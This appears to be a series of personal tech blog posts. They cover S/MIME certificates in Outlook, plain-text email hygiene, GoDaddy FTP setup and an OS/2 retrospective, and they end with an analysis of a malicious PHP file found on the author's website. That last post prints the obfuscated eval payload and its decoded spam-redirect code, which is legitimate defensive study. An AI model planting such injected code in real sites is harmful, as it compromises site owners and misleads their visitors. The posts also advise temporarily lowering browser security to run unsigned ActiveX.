Adventures in S/MIME – Certificate Renewal

After writing a 3 part series on purchasing and using S/MIME certificates with Microsoft Outlook 2016, some months went by I started receiving certificate renewal emails from Entrust. The first encouragement to renew arrived at 90-day warning, then 60, 30 and finally, 10. This post reviews the Entrust renewal process and describes that it is actually a new certificate purchase, not a renewal and describes the configuration changes required to configure Microsoft Outlook to use the “renewal” certificate rather than the expiring certificate.

Review

Recall from part 1 of this series, that the Entrust website requires use of ActiveX controls so it can perform Microsoft Crypto API operations on the Windows PC endpoint where the certificate will be created and installed. More than requiring ActiveX execution on the endpoint, the Entrust ActiveX control is not digitally signed. Together, these mean that Windows is the only operating system and Internet Explorer is the only web browser that will work with Entrust purchasing system and that the IE trusted sites security controls have to be relaxed to perform the purchase. I add that today in January 2017, just as a year ago in 2016, the website still does not “fail early” when you visit in Firefox. You can still get all the way through purchasing and payment and not actually get the private key installed into the certificate store on Windows.

Before you visit the Entrust store to renew certificate, launch internet explorer and temporarily relax the security controls. Details for this are in the part 1 of this series. Quick version:

  • Place https://buy.entrust.net on “trusted sites
  • Dial security level to “Low” for trusted sites – this permits running non-signed ActiveX controls. Make a note of the before setting and when done, reverse these steps
  • These should be put back after completing the certificate purchase/renewal

Renewal process

In IE, browse to https://buy.entrust.net/. Complete the purchase process as in part 1 of this blog series. Receipt will arrive via email. Side note is that the receipt is 10 pages, 1st page is the receipt and 9 that follow are the EULA. When print, save a tree, print only pages 1-1.

A separate email will have the certificate pickup link. This email process is used to validate that the person who is purchasing the email certificate actually has control of the email address. The email contains a web link to continue the CA certificate signature process and this is identical to the original certificate purchase.

In the pickup email, this text

Attention: Be sure to use the same browser to retrieve your certificate that you used to order it. For example, if you used Mozilla Firefox to order the certificate, use Mozilla Firefox, on the same computer, to retrieve it. Do not click the link on a different browser or a different computer.  https://www.entrust.net/smime/pickup.cfm?pickupid=123456&tid=12345

Cute! Parts of the Entrust website believe this process works with something other than Internet Explorer. Don’t click the link. Have to copy / paste it into IE which is hopefully still up after the purchase.

OK, done! Not really done. Request for enhancement here for Entrust. You are already running native code on my computer as the presently logged in user. How about walking me through the backup key process and automatically importing the newly purchased key into my email application rather than just having the certificate available in Internet Explorer. This must be done manually and is covered in part 1 of this series.

This is not a certificate renewal

The “renewal” certificate is a completely “new” certificate and the installation process is same to the installation of the “first” certificate a year ago. Entrust “renewal” emails started arriving 90 days before expiration. In my case, I renewed 6 days before expiration of the first year and notice that this caused a loss in validity period of 6 days with a loss in value of 6 / 365 * $20. Yes, this is a cost that I can handle, but it goes to show that the process is not a renewal. Separate certificate issuance and not same day expiration dates drive home the fact that this is a new certificate purchase and there is zero incentive to renew early, or even on-time.

Properly implemented, the “renewal” should change the expiration of the original certificate. That is, the public key of the original certificate should be sent to Entrust to be signed as part of renewal rather than a fresh key. The certificate signing request should denote a 1 year extension of the expiration date – which would fix the disincentive for early renewal.

Notice that in a renewal, the private key should be unchanged, but the key will then have a fresh “attest” that it is legitimate and new expiration date. This is not what happens with Entrust “renewal”, it’s a new key pair and a new certificate on renewal which precisely equals a first-time purchase and there is no alignment of dates.

Security wise, there’s some advantage in generating new keys, but there is a real usability impact of having multiple certificates. It means that to be able to validate signatures on emails sent in the past, the user must maintain ALL of the previous generation certificates. In my case, there are now 2 certificates and next year there will be 3.
Install the certificate for use in Microsoft Outlook

In Outlook 2016, this is Alt-File, Options, Trust Center, Trust Center Settings, Email Security, Digital IDs, Import/Export.

Browse to the key backed up earlier, exported from Internet Explorer (part 1 of this series). Browse to the file holding the certificate with the private key. When import the key you will be prompted to enter the password saved when you exported, and … done. Conceptually done, but not actually done.

Outlook is still using the old certificate

Send a signed email to someone and you’ll see that outlook is still using the “old” certificate. To validate, you must actually send an email to see what was used for the signature. After send, open sent items, open the mail that was sent and then inspect the security of the signature. Multiple screens required to get to this information.

Click the icon, push through a few more screens.

Almost there. When view the certificate we will see that the wrong one was used.

Observe

  • Outlook is still using the old certificate
  • We need to tell it to use the renewal certificate, which is actually a new certificate, but we need to do this without deleting the old certificate
  • Yes, that was a whole bunch of steps to verify that this didn’t work

Configure Outlook to use the new certificate
File, Options, Trust Center, Email Security, Encrypted email, Settings, Signing certificate. Below image implies that everything is all set, but it isn’t. You have two certificates (or more) for the same email address and you have to change Outlook configuration to tell it to use the one that was just purchased

Things to observe

  • The default certificate selected is the “old” certificate
  • If select “OK”, Outlook 2016 dialog hangs and must be closed
  • Selecting “More choices” is the correct thing to do

The “default” certificate for this account is the “old”. Select the new certificate and press OK.
Get another dialog to set encryption parameters.

Just like a year ago, the default hash is SHA1 which is depreciated by NIST so should not be used. The people of the world still using a computer with Windows XP before Service Pack 3 will have to upgrade to receive your email. Change the hash to SHA2 / SHA256.

Click OK to close out the set of configuration panels.
Verify it is now working

Send another signed email and this time the new certificate will be used.

Conclusions

It is always fun to go back in time and read “Why Johnny can’t encrypt”. That was written 1999 and today in 2017, this remains true. Users should not be expected to have this level of expertise just to send a secure email, but they still are placed in this situation causing for the most part a complete inability to have secure email on the internet. With work by using parties, it can be accomplished. I hope this small blog assists.

For the Entrust “renewal”, I summarize to
The Entrust email certificate “renewal” is actually a fresh certificate purchase
There is no advantage in renewing early, and indeed there is a a disincentive to renew early
Since renewal is a new certificate, actions must be taken to convince Outlook to use the new certificate rather than the old
Entrust purchasing website expecting ActiveX to be available and browser configured to be willing to run non-signed controls in modern times is hard to justify

A native application is needed! The application should be downloaded and executed to guide the user through the certificate purchase, backup and certificate installation process. While in there, also implement true “renew”

I’m in for another year and this will work. Not ideal, but it will work.

Joe Nord

(Originally published Jan 1 2017)

Send and view all email as TEXT in Microsoft Outlook

Phishing is popular activity in evil circles. Avoiding HTML and rich-text formatted email is a level of defense; one that I’ve taken on recently as a matter of security hygiene. This post describes how to configure Microsoft Office 2016 to read and send all email as text, and discusses some of the opportunities lost in not well distinguishing good guys from bad guys.

Wear your black hat

Bad actors wishing to attack a specific company often start by attaching a payload to email which sent to everyone inside the company. SOMEONE will click “run” and they have a foothold. The evil payload can be packaged as attachments, packaged as bad images, macros or referenced from HTML tags inside the formatted email. Payload can also be packaged as harmless looking or even almost hidden links to rogue websites and this last one is probably the biggest issue of all. Don’t put the payload where email scanner will find it, instead provide a link and get the user to click. Issues abound on “why this works”, but a big one is that as a user, you cannot easily distinguish between mails that are worthy of your trust and those that are potentially evil. Links embedded inside email text are a particularly large issue. They are “small” and can be framed as nothing, but when you click, even by just switching windows and clicking random spot in message, evil is unleashed from the visited website.

Bottom line – email provides an avenue for evil. Our mission is to keep the intruders away and getting away from rich-text and HTML formatted email is an important start.

Friend vs. foe

In many ways, I wish Outlook did a better job distinguishing “friendly” email from “suspect”. If I get email sent from someone inside my company, it has a higher level of trust than receiving email from outside. From outside, there are actually people I trust MORE than unknown people inside, but all of these trusted and non-trusted show up the “same” in outlooks email list presentation. One of the MOST important things in email listing is the DOMAIN of where that mail originated – but we have no view. You can’t easily figure out if email is good or bad until AFTER you open the email to view. I would like to know more about the sender of an email before I open it, but this isn’t today possible. The solution we are stuck with is rather harsh, treat everyone as suspect.

Solution – View and send all mail as text

View all email as text and then clicking text in email doesn’t open links and if we really want to follow a link, we can select text and paste into browser. Yes, it is more steps and not nearly as convenient. When we configure to view all email as text, we should also have the courtesy to SEND all email as text. This makes a statement to the receiver that they should not invest time during reply to make the email pretty because all the formatting will be removed before I see it anyway. I’m deep down hoping for a side benefit on this that it may assist in keeping emails SHORT.

Configuration settings

Default configuration for Microsoft Outlook 2016 is HTML formatted email. To change to text, follow these steps.

File / Options. Mail Tab. Set all outbound email to be composed in Plain Text.

Yes, you can switch inside mail editor to make things HTML if that’s appropriate for a discussion you are having, but by default, with this setting change made, all mail will be composed as text.

Read all email as plain text

Trust Center, Email Security – Read all email in plain text. Notice below that I left the second box clear, saying that people who send me digitally signed mail can send HTML. I expect most black hat hackers will not bother digitally signing email so this seems reasonable. I may still turn it off and require an explicit step to view such email as HTML.

Trust Center – Attachment Preview

In a world of malware delivered via attachments, its hard to imagine why automatically showing attached documents in a preview handler is considered a good idea. The default is wrong, fix it.

Disable picture download

A number of sub options on this one. May take some tweaking to get it to desired state, but for the most part if viewing email in plain text, the idea of setting the options for downloading pictures is not that important. This setting will come up only IF you decide to view a specific email in HTML format and by that point you have probably already concluded that the source is trustworthy so the particulars of this panel will not matter too much. Still, turn it off and make yourself take an extra step if you want to see the images associated with an HTML formatted email.

Macros

SERIOUSLY! Macros by default are enabled if digitally signed. This sounds scary enough that if I were a bad guy, I’d digitally sign my malware macros to get them to auto run. Turn this setting OFF.

Summary

With these security practices in place, I close by noting that I’m not precisely happy with it. Reading email as text takes me back to mainframes and UNIX of the 1980s. Yes, messages get through, but not nearly as beautifully as a colorful and elegantly formatted email “document”. Viewing in text though allows me to get the message across and makes my world a safer place.

If things change over time to better identify “good” vs. “bad” senders or even email encryption and signing could ever become mainstream, some of the “turn it off” aspects of this post could be relaxed. For the moment, I’ll be happier viewing in text.

Joe Nord

Originally published Feb 25 2016

Configuring GoDaddy SFTP Primary and Secondary accounts

Setting up a secondary FTP account for GoDaddy CPanel hosting requires different configuration than I expected. The trick is that while the primary FTP account uses SFTP, the secondary accounts need to be configured for FTP over TLS. This was a large enough headache for me that I share the details here so some others may be able to avoid the same issue.

In my case, the primary SFTP account was already in place; the panel below is the GoDaddy Gateway page for creating and managing FTP Accounts. Enter an account name, password and click “Create FTP Account”.

When setting up the alternate FTP account in FileZilla, set the protocol to FTP and the Encryption to “require Explicit FTP over TLS”.

Notice that the above FTP configuration for an alternate account is different than the FTP configuration for the primary account. Primary account is shown below for comparison, the difference is that the Protocol is “SFTP – SSH File Transfer Protocol”.

Time to connect

Back to the secondary account. Click on “Connect” in FileZilla.

Click OK, activity starts.

Good news! Is is connecting via TLS. In the first hit to the site, the TLS certificate for the GoDaddy FTP site will be downloaded into FileZilla and retained for comparison on future connections. Notice that while my GoDaddy domain does not have TLS support installed, the GoDaddy FTP site does. (update: June 2021 – site also has TLS certificate installed). This creates a certificate warning on first connect which in my case, no choice but to accept. To be cleaner, should probably add a TLS certificate to my site. Another day.

Conclusion

When got done, it actually makes sense. Only the primary account is permitted SSH access, so it is the only account which can do FTP over SSH. The secondary FTP accounts have to use FTP transferred over TLS. Set up FileZilla that way, and all works as expected.

Joe Nord (Originally published Feb 6 2016)

Adventures in S/MIME – Sending encrypted email with MS Outlook

In parts 1 and 2 of this series, I reviewed the difficult process of purchasing a personal certificate to use with S/MIME and the lengthy process required to get that certificate installed where Microsoft Outlook 2016 can use it for S/MIME signed email.  This post will show how to send your public key to friends, where you and they can then finally send email encrypted with S/MIME.

Distributing public keys

At this point, you and the other person have each completed the process of purchasing and installing a personal certificate for use by Microsoft Outlook.  By sending a SIGNED email to each other, your public key travels along with the email message and is used by Outlook to verify that a signed message was properly delivered.

I expected that receiving the public key (validated by public key crypto) would mean that it is possible to now send an encrypted email to the party that sent you the public key.  False – not there yet.  First have to get their public key installed into your Contacts entry for their email address.

I am told later that you can highlight their email in a received signed message and add them to your contacts.  They are already in your contacts, but this will merge the public key into your existing entry, completing the key acceptance.  I didn’t do it that way.  Here’s the long way.

Upon receiving a signed email message, click on the “signed” icon. Its red, on the right side.  Get this dialog.

Click on Details

Click on signer (two down from highlighted in the above).
And “View Details”.


And view the certificate.
And EXPORT the certificate to a file.
And then go back to Contacts, look up the person,


Click on Certificates.
Click on Import, and import the other persons public key that was exported above.

Now you CAN send them an encrypted email via their public key and can sign that email using your private key.  Mission accomplished.  In a way success.  There’s more. 

Construct an email

Write an email to the person that you have now the ability to send encrypted mail.  You still must click the little tiny icon to bring up the security dialog to instruct Outlook to encrypt and sign the email.  Major usability mistake here.  Outlook by default will NOT encrypt the email to this person even though you have their public key.

If you write a secret letter – and you’re going to send it – and you hit send, did it go encrypted?

If you have a public key for someone Outlook should go out of its way to default require sending all mail to that person encrypted.  Failing to do this puts you in a position of having to be very careful about whether or not the the security properties on the mailing are set.  If you get it wrong, outlook will happily send the email “in the clear”.

You installed an S/MIME certificate for yourself because you want to be able to receive encrypted email.  You installed someone else’s public key because you want to be able to communicate with them securely.  Outlook should REQUIRE that all email sent to that person be encrypted, or make you at a minimum jump through approvals to send non-encrypted.  It doesn’t, and that’s a shame.

Outlook should also “collect” public keys for all email received where you have a matching email address in your Contacts.  It doesn’t, and that too is a shame.

Summary

We blame users for not being good at complicated things like certificates when in reality, we as programmers are not very good at making the user’s life easy. They should not have to care about all these details.

Certificate authority actions

For a certificate purchase, why is a web browser used for installation of the cert???  I’m okay with using a web browser to conduct a purchase, but when I get done, what I want is a certificate file stored on disk containing my public and private key, encrypted with some password that I assign.  THEN, I will load that cert into programs where I want to use it.

To go beyond the call of duty, let me download a utility program that will do the entire operation.  To say you don’t want OS specific utilities to develop is false.  The registration in my case used ActiveX control and that means Windows, so there is already per-OS code used on the website registration.  Instead, the website should prompt me to download and RUN a utility program that will do the functions of certificate purchase and installation.

When the certificate purchase is complete, the program should enumerate all the potential certificate stores on the machine and PROMPT me for which to install the cert.  IE/Windows cert store, Firefox, Outlook, they are all different and installation of the purchased certificate should automatically put the certs in the place where I want to use them.

Email program actions (Outlook)

Default to making it secure.  Automatically update my contacts when you receive a valid public key – or at a minimum, prompt me that you are going to do this and seek approval.  When sending email to someone that has a public key in my contacts entry, absolutely encrypted it – always!  And when I send to people that have a certificate themselves, do SIGN my emails and do ENCRYPT.  Default to doing it securely and should I ever try to send a non-encrypted email to someone that can accept encrypted, well don’t do that – always send it encrypted.

S/MIME adoption

It is somewhat self fulfilling that S/MIME adoption is low.  Make this stuff work like it is supposed to work and things will be much easier.  Much easier to convince people to spend $20 to make it secure for a year if all they had to do was make a purchase over the internet.  Get this right, the money side can get in place and user count up, which should inspire email programs to do a better job defaulting to secure transport of email messages.

My $0.02 to secure the world.

Joe Nord 

(First published Jan 23 2016)

Adventures in S/MIME – Installing certificate for MS Outlook

In Part-1 of this series, I described the process of purchasing and installing a personal certificate.  In my case, certificate was purchased from Entrust and I noted that once the purchase process was complete, the certificate exists for use in the Internet Explorer web browser, but that is all.  With the purchase done, Microsoft Outlook will not yet utilize the certificate for purposes of S/MIME encrypted and signed email.

On Windows, there are multiple places where certificate are stored.  Holding potentially private encryption keys, we don’t just put them anywhere, they are placed into a controlled access space where their usage can be limited.  The operating system itself provides the primary storage location, but even this is more than one location.  There is a machine wide certificate store and then a separate certificate store for each user.

The Windows certificate store is the store that is visible with Start / Run MMC.exe, Ctrl-M, Certificates and then you can browse.  For purposes of a personal certificate needed for S/MIME, the certificate is stored in the USER store.  It isn’t needed by any other user on the machine, so there is no need to elevate to admin to view the user certificates.   

Take a look at the user certificate store

Press the Windows button to bring up the search bar, type “MMC” and Windows will respond with:

 Click on “Run command” and the Microsoft Management Console (MMC) will be run with user privilege.  The MMC is capable of loading numerous management “snap-ins” and with these can manage many different things on the computer.  When it comes up, it is managing “nothing”.

We are interested in managing certificates.  Ctrl-M brings up the add snap-in dialog, find Certificates on this list and presss “add”.

Since we run MMC on user privilege account, we are presented with no options on selecting machine level store or user store, we get the USER certificates.  An interesting side note is that had we escalated to administrator access to certificates and then started browing the user certificates, we would be browsing the administrators certificates.  This isn’t what we want, MMC was run on our normal user account, so we can see only the certificates for ourselves, and that is what we want.

Click on Personal and then Certificates and we get a listing of ALL of our personal certificates; in my case, there is only one.  

Nice experiment, we have noticed that after installing the certificate into Internet Explorer, the certificate is automatically installed into THE Windows certificate store, in our user space.

Internet Explorer uses the Windows primary certificate store for web browsing so when the Entrust installer placed the certificate onto the computer, it landed here.  Google Chrome also uses the system certificate store, so it too will benefit from being able to use certificates in web browsing.  Recall that for me, the end game is S/MIME, so having now two web browsers capable of mathematically proving to web sites that Joe really is Joe, is completely uninteresting.  In fact, most of the time I would prefer this not be possible, so there is something to be said for removing this certificate from the Windows certificate store.  More on this later.

Firefox by contrast manages its own certificates.  We could install the certificate into the Firefox certificate store.  Alt-Tools, Options, Advanced, Certificates to get this started.  Again, the goal is S/MIME email with Microsoft Outlook, so giving a certificate to Firefox to use with web browsing is not helpful.

Microsoft Outlook 2016

You would THINK that if Microsoft Internet Explorer uses THE Windows certificate store for its usage, that Microsoft Outlook would also use that store.   You would think this, I would think this, we all would think this, but we would all be wrong.

Outlook has to be told that you have a certificate and you must import it.  Here is a Microsoft article on how to do it, link.  Quick version: When running Microsoft Office:File, Options and then down at the bottom, click on “Trust center”, Trust Center Settings, Email Security.  Get a dialog that looks like this:

Click on “Import/Export…” and we can start the process of importing our personal S/MIME certificate into Microsoft outlook.  Remember the USB drive that stored a copy of your certificate after purchase and the password you wrote down for the encryption of that private information in that backup, you will need those.

Complete that activity and get back to this screen

In my case, I checked the box to say “Add digital signature to outgoing messages”.  In retrospect, that was a mistake, the vast majority of people I send email to from my personal email account have no idea what an S/MIME attachment is and this creates confusion.  Since I can’t send them encrypted email anyway (they do not have a certificate), no big value in signing the message.  Recommend leave this checkbox “off”.

Next, click on “Settings”

I just purchased this very fine personal encryption certificate, the certificate itself is signed with SHA2, but this dialog says I should sign my email messages using SHA1   Argh!!!!  

NIST themselves have depreciated SHA1 and it is no longer FIPS 140-2 approved.  SHA2 is vogue and since my personal certificate is signed with SHA2, anyone who receives anything from me by definition must be able to handle SHA2, so why is outlook defaulting to a lower form???  Change this to SHA256.

For for AES256, that’s peachy.  Frankly, AES128 would be just fine, but 256 is also fine and with low quantity of encrypted mail I will be sending, it just doesn’t matter if it takes a few extra microseconds to do the math.

Send a signed message

Since I turned off the “sign all messages” box in options, the decision to sign any message now must be set as a function of sending an email.  In the editing box of sending an email, the method to get it to do the signing is … hidden.  Insert / Signature doesn’t do it – that is for text signatures placed at the end of the email message.  What to do?

The answer is hidden in a very small pixel at the lower right of this box.

Yes- that little tiny box with an arrow.  Click on that and this dialog pops up.

Click on “Security Settings”, and finally you can say “yes, sign this email message”.

Click on SEND and the email will be sent, signed.


ANYONE can receive your signed email, all they need is your PUBLIC key and this travels along with the S/MIME formatted email.  Since that public key roots up to Entrust and since Entrust is part of the pre-installed set on every operating system, ANYONE who receives your message can do fancy math to verify that the message was indeed from you and since the signature checks out, they can also be sure that the message was not tampered along the way.

What they will not have is encryption of the message.  To get that, they too would need a S/MIME certificate and that I will save for a follow up post.  Link.

Joe Nord

(Originally published Jan 23 2016)

Adventures in S/MIME – Getting a certificate

As a big fan of crypto, it has always rather amazed me that S/MIME hasn’t had more success. We hear many accounts of users cannot handle the certificate management required to make something like PGP or S/MIME work. I have been doing some experiments and have concluded that we got it wrong; we are blaming the user when the right person to blame is ourselves. This post describes the first step of success, what it takes to “get a key”.

S/MIME Encryption key – purchase

The end-goal is S/MIME email. This requires getting an encryption certificate, issued by a provider that has a common root of trust. Commercial certificate authorities (CA) are the answer here as their statements of authenticity will root up to validate trust by the vast majority of the worlds computers.  There are many providers to choose from, I chose Entrust. For $20 / year, they will issue me a personal certificate that I can use for S/MIME. How do I know it will work for S/MIME? Simple, it says so, right there in the buy a cert page

Entrust – compliments

Entrust will receive a few rocks in this post, but I will also follow with compliments on their support group and their willingness to help me resolve what was an original fail. For $20 – support costs, they lost money on my sale, but they stood by it and helped me succeed. For that, I write this post so that others will also succeed; hopefully this returns the favor to the kind folks on support line that help me get to success.

Adventures in buying a certificate

For Entrust, the site to start is https://buy.entrust.net. Visit there, pay your money and out pops a certificate that you can use for S/MIME email. Or so I thought. I am using Windows 10 and I think the site is making assumptions to older versions of Windows and older web browsers.

Mistake #1 – I used Firefox. You must use Internet Explorer. The website doesn’t check this and if you do use Firefox, you will make it through the “pay money” part of the process, but will fail when it comes to the download the purchased certificate part. Turns out that the certificate sale at the end triggers an ActiveX activity to install the certificate into the Windows certificate store and from Firefox, this downloads as the public key part of the certificate only, so you end up with a certificate installed that will not allow you to do anything useful because you don’t have the private key.

Solution A: Contacted Entrust support line, and they issued me a discount code to start over.
Why IE? The website FAQ implies that public key private key pair are generated at Entrust and then they send you the certificate file encrypted with the password you supply during purchase. This isn’t how it works. It is how the website FAQ says it works, but isn’t how it really works. How it works in reality is better, but requires running code client side to do the key generation.

I do not want private key to have ever been in the possession of CA, or anyone except me and neither do they. We want to send them the public key, and have them sign it. This means that the key pair have to be generated on our PC and the public part sent up for signature and then back down to be reassembled and stored as our private key containing certificate which gets written into our system.

To accomplish that, they need ActiveX in the browser or some means to run code client side and with that, they depend on Internet Explorer ability to run ActiveX extensions.

Mistake #2 – ActiveX is rightly blocked by Internet Explorer

I’m on Windows 10. IE security gets better all the time and one thing it has done to get better is turning off the ability for any old website to run ActiveX controls (native code client side). Version of Internet Explorer that ships with Windows 10 does not permit ActiveX for non-trusted sites.

Solution: Temporarily add buy.entrust.net to the list of trusted sites in Internet Explorer.

Refresh webpage and think you’ll be good to go. No. Still fails.

Mistake #3 – ActiveX control from Entrust is not properly signed (or not signed at all)
Even with the sales URL added to trusted sites in IE, the browser still refuses to run the ActiveX control because it is not signed. That part by the way is kinda interesting for code from a CA, but save for another day.

Solution: Already willing to lower shields in talking to this website, another step is required to lower shields again to run non-signed ActiveX. This is global for all sites in Trusted Sites, so must be done only temporarily.

Refresh page and the ActiveX control will run and you can complete the purchase.
It will start with a warning about running the ActiveX control

You bet, proceed!

Warning from Windows – an application is wanting to create a private key! Yippie!

Security level at medium means that you will get prompted to approve access to the private key, but you will not have to enter an access password on each usage. Medium is great, next.

Then you are prompted with a confusing question on what you are for the certificate. You are the authorization contact – the one of highest authority over the cert, king of your own world.

And finally a happy “you’re done” screen — DO NOT CLOSE THE BROWSER!

Do not close the browser

You think you’re done, you’re not. The private key is still in memory inside the ActiveX control inside the browser. Leave it open. Go check email.

Email arrives – has a link to proceed to the next step

Do not click the link – that would just put you back in Firefox or Chome or your other browser that probably isn’t the same browser instance that is running the ActiveX control. Instead, Right mouse button, COPY the link into clipboard.

Go back to the Internet Explorer browser that did the purchase. In theory a new “tab” in that browser would be okay. I did not do that, I pasted into the URL window for the same tab that indicated I had completed purchase. This one I am sure can still see the private key. Paste the URL and press enter to browse to the site.

License agreement

Here, you enter the password that you provided earlier – so that the certificate host side can be downloaded and decrypted.

Happiness – Certificate installation happening, being commanded from the Entrust ActiveX control.

And done. The certificate is installed! Purchase process is complete.

Raise your shields!

The trusted sites addition done during purchasing should be removed and the default security level for sites on the trusted sites should be returned.

Alt-Tools, Options, Security: Remove buy.entrust.net site from trusted sites and raise the security bar for trusted sites back to the default, Medium is where it was before I had to dial it down.

Backup to off computer storage

The certificate is installed onto the computer, but at this moment, that is the ONLY copy. If the computer were to die, access to that certificate will be forever lost. Must back up as a standard part of purchase.

Still in Internet Explorer

Alt-Tools, Options, Security, Content, Certificates

Sends you into the Certificate Export Wizard.
Go through the first screen and on the export screen, tell it YES, include the private key.

It requires you to add a password, think one up, write it down, export the file. Store on a USB drive, put it with your backups…

And you’re done! Right?

Summary

And you’re done! Right? Answer: You’re not done.

You think you’re done, but you are not. You have successfully purchased and installed a certificate that theoretically can be used for S/MIME, but in reality all you have is a personal certificate that can be used for web browsing. You can now use public/private key crypto via this certificate to mathematically prove your identity to a website. Thankfully this will not happen without your approval, so you can leave this certificate in the Internet Explorer key store and go back to using Firefox who has no vision to it.

As for me, I bought this S/MIME certificate with the goal of sending and receiving encrypted email and so far, it won’t do that. Part 2 of this series will describe how to get Microsoft Outlook to utilize this certificate for S/MIME, link.

Joe Nord

(Originally published Jan 22, 2016)

Android apps on Windows Phone is like Windows on OS/2

Steve Ballmer is paraphrased in this ZDNet article saying “the company needs to ensure Windows Phone handsets can run Android apps”.  For a guy who spent more than 5 years writing system code for OS/2, the parallels to WinOS2 are pretty interesting.   Here’s the lesson: The operating system must stand on its own, or your just postpone it’s death.

“A better DOS than DOS and a better Windows than Windows”! 

With the 80836 supporting versions of OS/2 starting with 2.0 in 1992, the company did an absolutely excellent job running DOS applications in MVDM virtual machines.  This provided the required legacy support for DOS applications while the native side of the OS provided developers a platform to build rich applications that could fully exercise the systems 32-bit world.  OS/2 had an impressive multitasking kernel and a great TCP stack and could have been a great platform for application developers.  The applications never came; why?  A lot of reasons actually, but a big one was because IBM made the fantastic blunder to also build support for Windows 3.1 applications.

Once IBM built “adequate” system support for running Windows 3.1 applications on OS/2, ISVs now had zero motivation to write native applications and the native applications were not implemented, or were implemented poorly with customers instead opting to use the Windows applications on the OS/2 system and at the end, that operating environment just didn’t make sense anymore.

Development team gets distracted

Meanwhile, the operating system development team were spending tremendous effort to make Windows applications run inside a virtual machine.  Yes, Windows 3.1 was just a 386 DOS extender application running with a DOS boot loader, and given a MVDM supporting system already, running this big app wasn”t impossible.  It still took work though, real work!.   Work that ultimately included dragging me away from OS/2 native system work and into a world of writing what we today call paravirtualized drivers to send Windows 3.1 audio operations across to the native OS/2 multimedia system for processing.  Time that I SHOULD have been building the greatest audio and video processing system in the world, or perhaps just getting more device support for the native system.

Bottom line, it’s 20 years later.  Microsoft has become IBM and Google is playing the part of Microsoft.  If this “run Android on Windows” strategy actually proceeds, Android developers will have no motivation to write native applications for Windows phone handsets, and the operating system will ultimately die.

Everything that is old, is new again,

Joe Nord

Originally published Dec 3, 2015 11:12am

Spelling “lave” backwards is “eval”

Originally published Dec 24 2014

Found an unusual PHP file hiding in the root directory of my personal website, “s-g.txt”.  The file contains PHP code and last line contains “lave” which for some reason, the human brain quickly converts into “eval” and that’s suspicious, so it’s time to tear this apart. 

Note: Despite my attempts to post the original backward script here, the blog system rejects, identifying it as incoming evil, which it is.   It is below without scrambling.

First thoughts

The function names start with “wp”.  Once upon a time, I had hosted my personal blog via WordPress on my own website, but I got spam comments constantly so deleted the entire blog and removed WordPress.  Could this be leftovers from the removal of that blog?  When was the file created?

 "ls -l s-g.txt"
-rwx---r-x 1 joenord inetuser 807 Aug 13 02:52 s-g.txt

Okay, on August 13, 2014 at 02:52am Phoenix time, someone or some program did evil to my site.  A bit surprising though is the file permissions, readable to the world makes sense, but executable to the world, that’s odd.  I later learn that this is happening by default for all txt files created, so perhaps not related.

Getting back to execute permissions, the contents are PHP which means that execute permissions should not be needed for the contents to be read by the PHP engine so whether execute permissions are there or not, it will run if handed to PHP.

Next item, what does that “create_function” do?

Create_function – Create an anonymous (lambda-style) function

string create_function ( string $args , string $code )

This function internally performs an eval() and as such has the same security issues as eval().

Yeah, that’s bad.  More information on create_function, Parameters

Usually these parameters will be passed as single quote delimited strings. The reason for using single quoted strings, is to protect the variable names from parsing, otherwise, if you use double quotes there will be a need to escape the variable names, e.g. \$avar.

 Survey of the suspicious file says, there are double-quotes, more not good. Time to inspect the actual program operation.  Two lines of PHP code and I think I’m looking at an obfuscated ‘C’ contest.  The contents of the file are scrambled by reversing all characters in the function and storing the characters base64 encoded.  Borrowing some help from PHP, strrev does the first step of reversal, producing…

eval(base64_decode("ZXJyb3JfcmVwb3J0aW5nKDApOw0KJHVuaXFfcmVmPUAkX1NFUlZFUlsnUkVRVUVTVF9VUkknXTsNCmlmKHByZWdfbWF0Y2goJy9wcm9wZWNpYXxmaW5hc3RlcmlkZS9pJywgJHVuaXFfcmVmKSA+IDApIHsgDQoJaGVhZGVyKCJMb2NhdGlvbjogaHR0cDovL3AtcGhhcm1hY3kuY29tL29yZGVyLXByb3BlY2lhLW9ubGluZS1lbi5odG1sIik7IA0KCWV4aXQ7IA0KfWVsc2VpZihwcmVnX21hdGNoKCcvY2lhbGlzfGNpYWxhc3xjaWxpc3x0YWRhbGFmaWx8Y2lhbGlzfGNpYWxsaXN8Y2lhbGlzc3xjaWFscy9pJywgJHVuaXFfcmVmKSA+IDApIHsgDQoJaGVhZGVyKCJMb2NhdGlvbjogaHR0cDovL3d3dy5tZWRzY2hlYXBvbmwuY29tL29yZGVyLWNpYWxpcy1vbmxpbmUtZW4uaHRtbCIpOyANCglleGl0OyANCn1lbHNleyANCgloZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vd3d3Lm1lZHNjaGVhcG9ubC5jb20vb3JkZXItdmlhZ3JhLW9ubGluZS1lbi5odG1sIik7IA0KCWV4aXQ7IA0KfQ=="));

Close, but what I really want is the decoded form of the gibberish.  Base64_decode() and a bit of hand editing produces

$wp_function_initialize = create_function('$a', eval("{
    error_reporting(0);
    $uniq_ref=@$_SERVER['REQUEST_URI'];
     if(preg_match('/propecia|finasteride/i', $uniq_ref) > 0)
    {
        header("Location: http://p-pharmacy.com/order-propecia-online-en.html");
        exit;
    }  elseif(preg_match('/cialis|cialas|cilis|tadalafil|cialis|ciallis|cialiss|cials/i', $uniq_ref) > 0)
    {
        header("Location: http://www.medscheaponl.com/order-cialis-online-en.html");
        exit;
    }
    else
    {
        header("Location: http://www.medscheaponl.com/order-vxxxxx-online-en.html");    // this line actually referenced blue pill word, but blogging system won't let it get posted
        exit;
    }
}
"));

 Yes, evil

Yup, this could explain all those advertisements that were showing up in the comments of my blogs.   Keep inspecting.

What does that header() call do?  Documentation says that the location keyword is used to transfer web browser to another website and then return control to the calling PHP code, where a call to exit exists to end the script.

If operates as documentation says, then this will permit evil doer to adjust the spam content well after infecting the website.  Possibly though, if the PHP interpreter reaches out, gets raw html and then processes itself, then here’s a chance where arbitrary execution could occur.  Either way, it’s not good and has to go.  

.txt files – These are not supposed to execute as PHP

The website is hosted at Godaddy using their Linux hosting, txt file extension fetched from a web browser would normally not be processed as PHP.  Try it and Survey Says, that they are not being processed as PHP – so there is no security issue, presently.  ??  Paranoia and diagnosis for nothing?  Something tells me there is more to this story and if you know, please add in the comments.

Cause

Armed with information from tearing the script apart, I find the issue detailed here, where it is shown as the WordPress issues that GoDaddy experienced earlier in this year (2014).  Assume for the moment that GoDaddy neutered the script – why the this garbage still in the root directory of my website!

Actions to clean, remove suspect lines from .htaccess and erase suspect files.  “Eli” on this blog has a tool for securing WordPress.  If ever install WordPress again, should consider installing Eli’s defense plugin

